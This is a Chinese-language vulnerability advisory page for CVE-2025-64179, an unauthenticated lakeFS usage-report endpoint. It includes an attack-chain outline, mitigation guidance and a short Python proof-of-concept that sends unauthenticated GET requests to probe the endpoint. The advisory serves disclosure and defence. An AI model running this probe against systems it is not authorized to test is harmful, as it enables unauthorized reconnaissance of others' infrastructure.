IPBUF安全漏洞报告
English
CVE-2025-64179 CVSS 5.3 中危

CVE-2025-64179 lakeFS 未授权访问usage-report接口漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-64179
漏洞类型
未授权访问
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
lakeFS

相关标签

未授权访问身份验证绕过lakeFSCVE-2025-64179信息泄露Git-like仓库对象存储

漏洞概述

lakeFS是一个开源工具,将对象存储转换为类似Git的版本控制系统。在1.69.0及以下版本中,/api/v1/usage-report/summary端点存在身份验证缺失漏洞,允许未经身份验证的任意用户检索聚合API使用统计计数。虽然该漏洞不会直接泄露敏感数据,但攻击者可能通过此端点获取服务活动信息、API调用频率以及系统运行时间等有价值的侦察信息,从而为进一步攻击提供帮助。攻击者无需任何权限或用户交互,只需通过HTTP请求访问该端点即可获取相关数据。此问题已在1.71.0版本中修复。建议受影响的用户尽快升级到最新版本,或在升级前采取临时的网络层防护措施。

技术细节

lakeFS在1.69.0及以下版本中,/api/v1/usage-report/summary端点缺少适当的身份验证和访问控制机制。该端点本应仅允许授权管理员或内部服务访问以获取API使用统计信息,但由于实现缺陷,任何未经身份验证的HTTP请求都可以成功访问此端点。攻击者通过发送GET请求到该端点(如:GET /api/v1/usage-report/summary),即可获取包含API调用计数、用户活动统计等聚合数据的JSON响应。这些信息虽然不直接包含敏感凭据或用户数据,但可以揭示系统的使用模式、活动高峰时段和整体运行状况,为攻击者提供有价值的情报。漏洞的根本原因在于路由配置中未对该端点应用认证中间件,导致所有用户都可以绕过身份验证直接访问。修复版本1.71.0在路由处理中添加了必要的认证检查,确保只有经过验证的请求才能获取使用报告数据。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统中运行的lakeFS版本,确认版本号<=1.69.0
STEP 2
步骤2
攻击者向目标lakeFS实例发送未经身份验证的HTTP GET请求到/api/v1/usage-report/summary端点
STEP 3
步骤3
由于端点缺少认证检查,服务器返回200状态码及包含API使用统计的JSON响应
STEP 4
步骤4
攻击者解析响应数据,获取服务活动统计、API调用频率、系统运行时间等信息
STEP 5
步骤5
攻击者利用获取的侦察信息进行进一步攻击,如识别系统使用模式、选择攻击时间窗口等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-64179 PoC - Unauthorized access to lakeFS usage-report endpoint # Affected versions: lakeFS <= 1.69.0 # Fixed in: lakeFS 1.71.0 def check_vulnerability(target_url): """ Check if the target lakeFS instance is vulnerable to CVE-2025-64179 """ endpoints = [ "/api/v1/usage-report/summary", "/api/v1/usage-report", "/api/v1/usage" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-64179: lakeFS Unauthorized Usage Report Access\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Testing endpoint: {url}") try: # Send unauthenticated request (no headers, no tokens) response = requests.get(url, timeout=10, verify=False) print(f" Status Code: {response.status_code}") if response.status_code == 200: try: data = response.json() print(f" [VULNERABLE] Response contains data: {data}") print(f" [!] The endpoint is accessible without authentication") return True except: print(f" [VULNERABLE] Endpoint accessible, response: {response.text[:200]}") return True elif response.status_code == 401 or response.status_code == 403: print(f" [SAFE] Endpoint requires authentication") else: print(f" [INFO] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f" [ERROR] Request failed: {e}") print(f"\n[*] Scan complete") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://localhost:8000" check_vulnerability(target)

影响范围

lakeFS <= 1.69.0

防御指南

临时缓解措施
在无法立即升级的情况下,可通过以下方式临时缓解:1) 在负载均衡器(如Nginx、HAProxy)或Web应用防火墙(WAF)上配置访问控制规则,阻止外部用户对/api/v1/usage-report/summary端点的访问;2) 使用网络层ACL限制只有特定IP地址段可以访问该端点;3) 部署反向代理并配置基础认证或IP白名单。但这些仅为临时措施,不能替代版本升级,建议尽快将lakeFS升级至1.71.0或更高版本以彻底修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表